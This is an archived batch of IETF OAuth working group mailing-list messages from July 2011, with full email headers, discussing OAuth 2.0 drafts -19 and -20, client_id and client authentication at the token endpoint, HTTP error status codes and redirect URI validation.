BAYES_00=-2.599, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id ZssBX-Z-kZAL; Mon, 25 Jul 2011 10:10:39 -0700 (PDT) Received: from ietfa.amsl.com (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 4E67C21F8560; Mon, 25 Jul 2011 10:08:19 -0700 (PDT) MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable From: internet-drafts@ietf.org To: i-d-announce@ietf.org X-Test-IDTracker: no X-IETF-IDTracker: 3.56 Message-ID: <20110725170819.20076.33516.idtracker@ietfa.amsl.com> Date: Mon, 25 Jul 2011 10:08:19 -0700 Cc: oauth@ietf.org Subject: [OAUTH-WG] I-D Action: draft-ietf-oauth-v2-20.txt X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 25 Jul 2011 17:10:40 -0000 A New Internet-Draft is available from the on-line Internet-Drafts director= ies. This draft is a work item of the Web Authorization Protocol Working Gr= oup of the IETF. Title : The OAuth 2.0 Authorization Protocol Author(s) : Eran Hammer-Lahav David Recordon Dick Hardt Filename : draft-ietf-oauth-v2-20.txt Pages : 62 Date : 2011-07-25 The OAuth 2.0 authorization protocol enables a third-party application to obtain limited access to an HTTP service, either on behalf of a resource owner by orchestrating an approval interaction between the resource owner and the HTTP service, or by allowing the third-party application to obtain access on its own behalf. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-oauth-v2-20.txt Internet-Drafts are also available by anonymous FTP at: ftp://ftp.ietf.org/internet-drafts/ This Internet-Draft can be retrieved at: ftp://ftp.ietf.org/internet-drafts/draft-ietf-oauth-v2-20.txt From eran@hueniverse.com Mon Jul 25 10:10:45 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id E46FB21F84DB for ; Mon, 25 Jul 2011 10:10:45 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.555 X-Spam-Level: X-Spam-Status: No, score=-2.555 tagged_above=-999 required=5 tests=[AWL=0.043, BAYES_00=-2.599, HTML_MESSAGE=0.001] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id LudXouytlhBW for ; Mon, 25 Jul 2011 10:10:39 -0700 (PDT) Received: from p3plex1out02.prod.phx3.secureserver.net (p3plex1out02.prod.phx3.secureserver.net [72.167.180.18]) by ietfa.amsl.com (Postfix) with SMTP id E131C21F888A for ; Mon, 25 Jul 2011 10:09:14 -0700 (PDT) Received: (qmail 4187 invoked from network); 25 Jul 2011 17:09:14 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.20) by p3plex1out02.prod.phx3.secureserver.net with SMTP; 25 Jul 2011 17:09:14 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT002.EX1.SECURESERVER.NET ([72.167.180.20]) with mapi; Mon, 25 Jul 2011 10:09:10 -0700 From: Eran Hammer-Lahav To: 'OAuth WG' Date: Mon, 25 Jul 2011 10:08:32 -0700 Thread-Topic: Draft -20 Thread-Index: AcxK7Wrx3tTmSIUsQiyFisEGYWx1TA== Message-ID: <90C41DD21FB7C64BB94121FBBC2E723450245F57AF@P3PW5EX1MB01.EX1.SECURESERVER.NET> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: multipart/alternative; boundary="_000_90C41DD21FB7C64BB94121FBBC2E723450245F57AFP3PW5EX1MB01E_" MIME-Version: 1.0 Subject: [OAUTH-WG] Draft -20 X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 25 Jul 2011 17:10:46 -0000 --_000_90C41DD21FB7C64BB94121FBBC2E723450245F57AFP3PW5EX1MB01E_ Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Draft -20 closes all open issues. Any additional feedback will be part of t= he WGLC process. Thanks, EHL From: Eran Hammer-Lahav Sent: Monday, July 25, 2011 9:10 AM To: 'OAuth WG' Subject: RE: Draft -19 BTW, I'm planning on following -19 with -20 later today with text closing a= ll the remaining issues. EHL From: Eran Hammer-Lahav Sent: Monday, July 25, 2011 1:07 AM To: OAuth WG Subject: Draft -19 Draft 19 includes all the feedback received for -18: * Closes issues 15-19 * Moved client profiles to section 2.1 from 10 * New text for 'Code Injection and Input Validation' * A few minor editorial clarifications There are two open issues (20, 21) which are minor editorial requests, and = the request being discussed on the list to change the public/private client= type terminology to something else. I consider draft -19 to be ready for WGLC immediately. Thanks, EHL --_000_90C41DD21FB7C64BB94121FBBC2E723450245F57AFP3PW5EX1MB01E_ Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

Draft -20 closes all open issues. Any additional feedback wil= l be part of the WGLC process.

 

Thanks,

 

EHL

 

From: Eran Hammer-Lahav
Sent: Monday, July 25, 2011 9:10 AM
To: 'OAuth WG'
Subject: RE: Draft -19

=  

BTW, I&#= 8217;m planning on following -19 with -20 later today with text closing all= the remaining issues.

 

EHL

 

<= p class=3DMsoNormal>From: Eran Hammer-Lahav
Sent: Monday, July 25,= 2011 1:07 AM
To: OAuth WG
Subject: Draft -19

 

Draft 19 includes all the feedback received for -18:

 

* Close= s issues 15-19

* Moved client profiles t= o section 2.1 from 10

* New text for = 216;Code Injection and Input Validation’

* A few minor editorial clarifications

 

There are two open issues (= 20, 21) which are minor editorial requests, and the request being discussed= on the list to change the public/private client type terminology to someth= ing else.

 

I consider draft -19 to be ready for WGLC immediately.

 

Thank= s,

 

EHL

 

= --_000_90C41DD21FB7C64BB94121FBBC2E723450245F57AFP3PW5EX1MB01E_-- From lynch@isoc.org Mon Jul 25 10:15:13 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 4D3C321F8B9D for ; Mon, 25 Jul 2011 10:15:13 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -102.599 X-Spam-Level: X-Spam-Status: No, score=-102.599 tagged_above=-999 required=5 tests=[BAYES_00=-2.599, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id KlPikcxN5bJg for ; Mon, 25 Jul 2011 10:15:12 -0700 (PDT) Received: from hiroshima.bogus.com (hiroshima.bogus.com [IPv6:2001:418:1::80]) by ietfa.amsl.com (Postfix) with ESMTP id 8574B21F8B9B for ; Mon, 25 Jul 2011 10:15:12 -0700 (PDT) Received: from hiroshima.bogus.com (localhost [127.0.0.1]) by hiroshima.bogus.com (8.14.3/8.14.3) with ESMTP id p6PHBHED009263 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Mon, 25 Jul 2011 10:11:17 -0700 (PDT) (envelope-from lynch@isoc.org) Received: from localhost (llynch@localhost) by hiroshima.bogus.com (8.14.3/8.14.3/Submit) with ESMTP id p6PHBGoQ009260; Mon, 25 Jul 2011 10:11:17 -0700 (PDT) (envelope-from lynch@isoc.org) Date: Mon, 25 Jul 2011 10:11:16 -0700 (PDT) From: Lucy Lynch X-X-Sender: llynch@hiroshima.bogus.com To: Eran Hammer-Lahav In-Reply-To: <90C41DD21FB7C64BB94121FBBC2E72345023C0B3A3@P3PW5EX1MB01.EX1.SECURESERVER.NET> Message-ID: References: <90C41DD21FB7C64BB94121FBBC2E72345021F378BF@P3PW5EX1MB01.EX1.SECURESERVER.NET> <4E2D5F94.9020207@stpeter.im> <90C41DD21FB7C64BB94121FBBC2E72345023C0B3A3@P3PW5EX1MB01.EX1.SECURESERVER.NET> User-Agent: Alpine 2.00 (BSF 1167 2008-08-23) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: OAuth WG Subject: Re: [OAUTH-WG] Draft -19 X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list Reply-To: lynch@isoc.org List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 25 Jul 2011 17:15:13 -0000 On Mon, 25 Jul 2011, Eran Hammer-Lahav wrote: > The term Redirection URI describes the URI provided by the client > throughout the document. The additional parameters added later by the > authorization server are part of the redirection request but not the URI > provided by the client. Thanks - > EHL > >> -----Original Message----- >> From: Lucy Lynch [mailto:llynch@civil-tongue.net] >> Sent: Monday, July 25, 2011 6:46 AM >> To: Peter Saint-Andre >> Cc: Eran Hammer-Lahav; OAuth WG >> Subject: Re: [OAUTH-WG] Draft -19 >> >> On Mon, 25 Jul 2011, Peter Saint-Andre wrote: >> >>> On 7/25/11 4:06 AM, Eran Hammer-Lahav wrote: >>>> Draft 19 includes all the feedback received for -18: >>> >>> BTW, the diff is here: >>> >>> http://tools.ietf.org/rfcdiff?url2=draft-ietf-oauth-v2-19.txt >> >> >> clarifying question on section 10.1 - >> >> I'm reading this as suggested handling for the Client URI portion of a >> redirection endpoint - is that correct? >> >>> /psa >>> _______________________________________________ >>> OAuth mailing list >>> OAuth@ietf.org >>> https://www.ietf.org/mailman/listinfo/oauth >>> > From torsten@lodderstedt.net Mon Jul 25 10:22:45 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 04F4B21F8545 for ; Mon, 25 Jul 2011 10:22:45 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.049 X-Spam-Level: X-Spam-Status: No, score=-2.049 tagged_above=-999 required=5 tests=[AWL=0.200, BAYES_00=-2.599, HELO_EQ_DE=0.35] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id H5BuiCxDHrn0 for ; Mon, 25 Jul 2011 10:22:44 -0700 (PDT) Received: from smtprelay02.ispgateway.de (smtprelay02.ispgateway.de [80.67.18.14]) by ietfa.amsl.com (Postfix) with ESMTP id 754FD21F84CE for ; Mon, 25 Jul 2011 10:22:41 -0700 (PDT) Received: from [130.129.17.214] by smtprelay02.ispgateway.de with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.68) (envelope-from ) id 1QlOrX-0006QK-S0; Mon, 25 Jul 2011 19:22:39 +0200 Message-ID: <4E2DA65D.4070602@lodderstedt.net> Date: Mon, 25 Jul 2011 13:22:37 -0400 From: Torsten Lodderstedt User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.18) Gecko/20110616 Thunderbird/3.1.11 MIME-Version: 1.0 To: Eran Hammer-Lahav References: <4E274D61.4020804@lodderstedt.net> <90C41DD21FB7C64BB94121FBBC2E72345021F378BE@P3PW5EX1MB01.EX1.SECURESERVER.NET> <4E2D7C84.9080601@lodderstedt.net> <90C41DD21FB7C64BB94121FBBC2E723450245F5755@P3PW5EX1MB01.EX1.SECURESERVER.NET> In-Reply-To: <90C41DD21FB7C64BB94121FBBC2E723450245F5755@P3PW5EX1MB01.EX1.SECURESERVER.NET> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Df-Sender: torsten@lodderstedt-online.de Cc: OAuth WG Subject: Re: [OAUTH-WG] Comments on -18 X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 25 Jul 2011 17:22:45 -0000 ok Am 25.07.2011 11:53, schrieb Eran Hammer-Lahav: > >> -----Original Message----- >> From: Torsten Lodderstedt [mailto:torsten@lodderstedt.net] >> Sent: Monday, July 25, 2011 7:24 AM >> To: Eran Hammer-Lahav >> Cc: OAuth WG >> Subject: Re: [OAUTH-WG] Comments on -18 >> >> Hi Eran, >>>> section 5.2 >>>> >>>> "The authorization server MAY return an HTTP 401 >>>> (Unauthorized) status code to indicate which HTTP >>>> authentication schemes are supported." >>>> >>>> Given the usage of HTTP authentication schemes is the way to >>>> authenticated client recommended by the spec, status code 401 should >>>> be the default status code for this kind of error. Usage of status >>>> code 400 should be the exception. >>>> >>>> "unauthorized_client" >>>> >>>> So above - status code 403 seems to be a more appropriate default. >>> I think this is fine unchanged. >> Can you please give a rationale? > The current text keeps things simple by using a single error code 400, but allowing/requiring the use of 401 when client authentication fails. Whether this is the ideal use of HTTP status codes is open for debate, but even the HTTP experts informed us that we can use 400 for cases that might be more accurately described by a 403. > > So I rather not change this at this point. > > EHL From torsten@lodderstedt.net Mon Jul 25 10:26:50 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 9F32C21F8BCA for ; Mon, 25 Jul 2011 10:26:50 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.082 X-Spam-Level: X-Spam-Status: No, score=-2.082 tagged_above=-999 required=5 tests=[AWL=0.167, BAYES_00=-2.599, HELO_EQ_DE=0.35] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id vcNSkcjf+wMb for ; Mon, 25 Jul 2011 10:26:50 -0700 (PDT) Received: from smtprelay04.ispgateway.de (smtprelay04.ispgateway.de [80.67.31.42]) by ietfa.amsl.com (Postfix) with ESMTP id 1689921F8BB6 for ; Mon, 25 Jul 2011 10:26:50 -0700 (PDT) Received: from [130.129.17.214] by smtprelay04.ispgateway.de with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.68) (envelope-from ) id 1QlOvZ-0007Hh-6i; Mon, 25 Jul 2011 19:26:49 +0200 Message-ID: <4E2DA756.8010400@lodderstedt.net> Date: Mon, 25 Jul 2011 13:26:46 -0400 From: Torsten Lodderstedt User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.18) Gecko/20110616 Thunderbird/3.1.11 MIME-Version: 1.0 To: Eran Hammer-Lahav References: <4E274554.5070606@lodderstedt.net> <90C41DD21FB7C64BB94121FBBC2E72345021F378BC@P3PW5EX1MB01.EX1.SECURESERVER.NET> <4E2D7B3F.10001@lodderstedt.net> <90C41DD21FB7C64BB94121FBBC2E723450245F574F@P3PW5EX1MB01.EX1.SECURESERVER.NET> In-Reply-To: <90C41DD21FB7C64BB94121FBBC2E723450245F574F@P3PW5EX1MB01.EX1.SECURESERVER.NET> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Df-Sender: torsten@lodderstedt-online.de Cc: OAuth WG Subject: Re: [OAUTH-WG] Issue 16, revised Redirection URI section (3.1.2) X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 25 Jul 2011 17:26:50 -0000 Hi Eran, >> Regarding this particular section: I think the two different issues (transport >> security and endpoint authenticity) should be presented separately. > Which section? 3.1.2.1. regards, Torsten. > EHL From bcampbell@pingidentity.com Mon Jul 25 10:39:56 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 04CC221F86A2 for ; Mon, 25 Jul 2011 10:39:56 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -5.95 X-Spam-Level: X-Spam-Status: No, score=-5.95 tagged_above=-999 required=5 tests=[AWL=0.027, BAYES_00=-2.599, FM_FORGED_GMAIL=0.622, RCVD_IN_DNSWL_MED=-4] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id L-AxaGaYx3rt for ; Mon, 25 Jul 2011 10:39:55 -0700 (PDT) Received: from na3sys009aog113.obsmtp.com (na3sys009aog113.obsmtp.com [74.125.149.209]) by ietfa.amsl.com (Postfix) with ESMTP id 26B9721F863C for ; Mon, 25 Jul 2011 10:39:55 -0700 (PDT) Received: from mail-qy0-f179.google.com ([209.85.216.179]) (using TLSv1) by na3sys009aob113.postini.com ([74.125.148.12]) with SMTP ID DSNKTi2qankZw/kbGoo9+VN9OvT29qLb1aEb@postini.com; Mon, 25 Jul 2011 10:39:55 PDT Received: by mail-qy0-f179.google.com with SMTP id 29so3092188qyk.10 for ; Mon, 25 Jul 2011 10:39:54 -0700 (PDT) Received: by 10.224.183.206 with SMTP id ch14mr2415708qab.343.1311615594182; Mon, 25 Jul 2011 10:39:54 -0700 (PDT) MIME-Version: 1.0 Received: by 10.224.11.68 with HTTP; Mon, 25 Jul 2011 10:39:24 -0700 (PDT) In-Reply-To: <90C41DD21FB7C64BB94121FBBC2E723450245F5799@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <90C41DD21FB7C64BB94121FBBC2E723450245F5786@P3PW5EX1MB01.EX1.SECURESERVER.NET> <90C41DD21FB7C64BB94121FBBC2E723450245F5799@P3PW5EX1MB01.EX1.SECURESERVER.NET> From: Brian Campbell Date: Mon, 25 Jul 2011 11:39:24 -0600 Message-ID: To: Eran Hammer-Lahav Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Cc: oauth Subject: Re: [OAUTH-WG] treatment of client_id for authentication and identification X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 25 Jul 2011 17:39:56 -0000 I'm asking from both an implementation perspective as well as the spec perspective. On the spec side, draft-ietf-oauth-assertions will deal with client_id and while it's currently required I'd guess it will become optional or even forbidden. On the implementation side, let me make sure I understand. Clients without a secret must present client_id on token endpoint requests and must use only that method of identifying themselves? HTTP Basic and other means of client authentication are reserved for clients that actually have some secret to authenticate with? On Mon, Jul 25, 2011 at 10:50 AM, Eran Hammer-Lahav w= rote: > It shouldn't. You are still allowed to reuse client_id outside the specif= ic password credentials use case. Just make sure the way the parameter is d= efined in v2 is consistent. > > EHL > >> -----Original Message----- >> From: Brian Campbell [mailto:bcampbell@pingidentity.com] >> Sent: Monday, July 25, 2011 9:28 AM >> To: Eran Hammer-Lahav >> Cc: oauth >> Subject: Re: [OAUTH-WG] treatment of client_id for authentication and >> identification >> >> How should HTTP Basic be used for a client not in possession of a client >> secret? >> >> >> >> On Mon, Jul 25, 2011 at 10:25 AM, Eran Hammer-Lahav >> wrote: >> > client_id is only required on the authorization endpoint, not the toke= n >> endpoint. -18 cleaned up how the document talked about client >> authentication in general. So you should remove client_id from your draf= t >> and instead mention client authentication (if appropriate). >> > >> > EHL >> > >> >> -----Original Message----- >> >> From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On >> >> Behalf Of Brian Campbell >> >> Sent: Monday, July 25, 2011 7:02 AM >> >> To: oauth >> >> Subject: [OAUTH-WG] treatment of client_id for authentication and >> >> identification >> >> >> >> I need to revisit a question that came up about two months ago. =A0I >> >> thought I had a clear understanding of when client_id was and wasn't >> >> included in access token requests but drafts 18/19 seemed to have >> >> changed things (or my understanding of 16 was wrong). >> >> >> >> >> >> The question is, when is client_id a required parameter on requests >> >> to the token endpoint and when can/should it be omitted? >> >> >> >> In -16 I was under the impression that client_id was always to be >> >> included even when using HTTP Basic or other means of authentication. >> >> See http://tools.ietf.org/html/draft-ietf-oauth-v2-16#section-3.1 and >> >> http://www.ietf.org/mail-archive/web/oauth/current/msg06328.html for >> >> example. >> >> >> >> But the text and examples in -18/-19 would suggest that client_id is >> >> to be omitted when using HTTP Basic. =A0Text in >> >> http://tools.ietf.org/html/draft-ietf-oauth-v2-19#section-2.4.1 and >> >> example in >> >> http://tools.ietf.org/html/draft-ietf-oauth-v2-19#section-4.1.3 >> >> >> >> I don't have a strong preference for either direction but do feel it >> >> needs to be more explicitly spelled out. =A0Scenarios that should be >> >> accounted for are, for both clients in possession of a client >> >> password and clients without, using client_id/client_secret, using >> >> HTTP Basic and using other means of authentication/identification. >> >> _______________________________________________ >> >> OAuth mailing list >> >> OAuth@ietf.org >> >> https://www.ietf.org/mailman/listinfo/oauth >> > > From torsten@lodderstedt.net Mon Jul 25 10:42:06 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 634BA22800E for ; Mon, 25 Jul 2011 10:42:06 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -1.806 X-Spam-Level: X-Spam-Status: No, score=-1.806 tagged_above=-999 required=5 tests=[AWL=-0.157, BAYES_00=-2.599, HELO_EQ_DE=0.35, J_CHICKENPOX_102=0.6] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id zGMSVcegYKKd for ; Mon, 25 Jul 2011 10:42:06 -0700 (PDT) Received: from smtprelay04.ispgateway.de (smtprelay04.ispgateway.de [80.67.18.16]) by ietfa.amsl.com (Postfix) with ESMTP id CBAA021F8C02 for ; Mon, 25 Jul 2011 10:42:05 -0700 (PDT) Received: from [130.129.17.214] by smtprelay04.ispgateway.de with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.68) (envelope-from ) id 1QlPAK-00083e-P5; Mon, 25 Jul 2011 19:42:04 +0200 Message-ID: <4E2DAAEA.7090304@lodderstedt.net> Date: Mon, 25 Jul 2011 13:42:02 -0400 From: Torsten Lodderstedt User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.18) Gecko/20110616 Thunderbird/3.1.11 MIME-Version: 1.0 To: Eran Hammer-Lahav References: <90C41DD21FB7C64BB94121FBBC2E72345021F37877@P3PW5EX1MB01.EX1.SECURESERVER.NET> In-Reply-To: <90C41DD21FB7C64BB94121FBBC2E72345021F37877@P3PW5EX1MB01.EX1.SECURESERVER.NET> Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 8bit X-Df-Sender: torsten@lodderstedt-online.de Cc: "torsten@lodderstedt-online.de" , "oauth@ietf.org" Subject: Re: [OAUTH-WG] redirect uri validation X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 25 Jul 2011 17:42:06 -0000 Hi Eran, >>> OAuth 1.0 was highly criticized for failing to address client identity >>> in public clients. I believe OAuth 2.0 offers a much better story, >>> within the boundaries>of what’s possible today. >> Agreed. I think we must honestly discuss the value of client >> authentication/identification itself. I personally think it is over-emphazised >> right now. The strength of OAuth 2.0 is that it allows solutions where neither >> client nor resource server have access or do store end-user credentials. >> Client authentication is nice but not the main feature. > Do you have any specific suggestions not already mentioned on the list? I would suggest to mention that while an invalid redirect_uri indicates a counterfeit clients a valid redirect does not prove the calling client's identity. regards, Torsten. > EHL > > _______________________________________________ > OAuth mailing list > OAuth@ietf.org > https://www.ietf.org/mailman/listinfo/oauth From barryleiba.mailing.lists@gmail.com Mon Jul 25 15:08:33 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 28C2311E80D4 for ; Mon, 25 Jul 2011 15:08:33 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -102.889 X-Spam-Level: X-Spam-Status: No, score=-102.889 tagged_above=-999 required=5 tests=[AWL=0.088, BAYES_00=-2.599, FM_FORGED_GMAIL=0.622, RCVD_IN_DNSWL_LOW=-1, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 7YfUehpRiLaV for ; Mon, 25 Jul 2011 15:08:32 -0700 (PDT) Received: from mail-gw0-f44.google.com (mail-gw0-f44.google.com [74.125.83.44]) by ietfa.amsl.com (Postfix) with ESMTP id 9161E11E80C7 for ; Mon, 25 Jul 2011 15:08:32 -0700 (PDT) Received: by gwb20 with SMTP id 20so3336621gwb.31 for ; Mon, 25 Jul 2011 15:08:32 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:sender:in-reply-to:references:date :x-google-sender-auth:message-id:subject:from:to:content-type; bh=U0SYJSuI8vCOlEvM5ebHt91jCQKG/+eKBQ4wGboeO0M=; b=U3+YbPLiStkZmeU4capxxvwX+Z4z/f14+sLL4Z1HgqluAc0Hq3ycDZJsAIvOQicM4Z NiszcA5L6Nknl2MAn2eb9sKCTV6yztI+aB8Jwa+51y6pdTkGxLSvKP7tMpqgVTBFgnmn EkWUxDF7sxqFnD6NuVjqmpUUZ5hvYmD+B1fEM= MIME-Version: 1.0 Received: by 10.146.160.32 with SMTP id i32mr4512630yae.18.1311631711832; Mon, 25 Jul 2011 15:08:31 -0700 (PDT) Sender: barryleiba.mailing.lists@gmail.com Received: by 10.147.99.7 with HTTP; Mon, 25 Jul 2011 15:08:31 -0700 (PDT) In-Reply-To: References: <3D910011-72A9-4BED-824B-50E1990FC9C1@gmx.net> Date: Mon, 25 Jul 2011 18:08:31 -0400 X-Google-Sender-Auth: ZaFIZfzUA6jyTWEhh-e_X-8_92g Message-ID: From: Barry Leiba To: oauth WG Content-Type: text/plain; charset=ISO-8859-1 Subject: Re: [OAUTH-WG] Call For Agenda Items for IETF#81 X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 25 Jul 2011 22:08:33 -0000 People attending in person should be aware that the room we have is not large. It claims to hold 60, which I think is a generous estimate. I advise folks to be prompt, so as to get a seat. If we get a good turnout, we may overflow the room. Barry From eran@hueniverse.com Mon Jul 25 15:18:50 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 36BC711E80D8 for ; Mon, 25 Jul 2011 15:18:50 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.556 X-Spam-Level: X-Spam-Status: No, score=-2.556 tagged_above=-999 required=5 tests=[AWL=0.043, BAYES_00=-2.599] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id swo2X2Jrl+dU for ; Mon, 25 Jul 2011 15:18:49 -0700 (PDT) Received: from p3plex1out01.prod.phx3.secureserver.net (p3plex1out01.prod.phx3.secureserver.net [72.167.180.17]) by ietfa.amsl.com (Postfix) with SMTP id 7283611E80D7 for ; Mon, 25 Jul 2011 15:18:49 -0700 (PDT) Received: (qmail 21343 invoked from network); 25 Jul 2011 22:18:49 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.20) by p3plex1out01.prod.phx3.secureserver.net with SMTP; 25 Jul 2011 22:18:47 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT002.EX1.SECURESERVER.NET ([72.167.180.20]) with mapi; Mon, 25 Jul 2011 15:18:38 -0700 From: Eran Hammer-Lahav To: Brian Campbell Date: Mon, 25 Jul 2011 15:18:00 -0700 Thread-Topic: [OAUTH-WG] treatment of client_id for authentication and identification Thread-Index: AcxK8ekaMXXxmOT8RpCYHyxzRKdiaQAJqVzg Message-ID: <90C41DD21FB7C64BB94121FBBC2E723450245F58E0@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <90C41DD21FB7C64BB94121FBBC2E723450245F5786@P3PW5EX1MB01.EX1.SECURESERVER.NET> <90C41DD21FB7C64BB94121FBBC2E723450245F5799@P3PW5EX1MB01.EX1.SECURESERVER.NET> In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Cc: oauth Subject: Re: [OAUTH-WG] treatment of client_id for authentication and identification X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 25 Jul 2011 22:18:50 -0000 > -----Original Message----- > From: Brian Campbell [mailto:bcampbell@pingidentity.com] > Sent: Monday, July 25, 2011 10:39 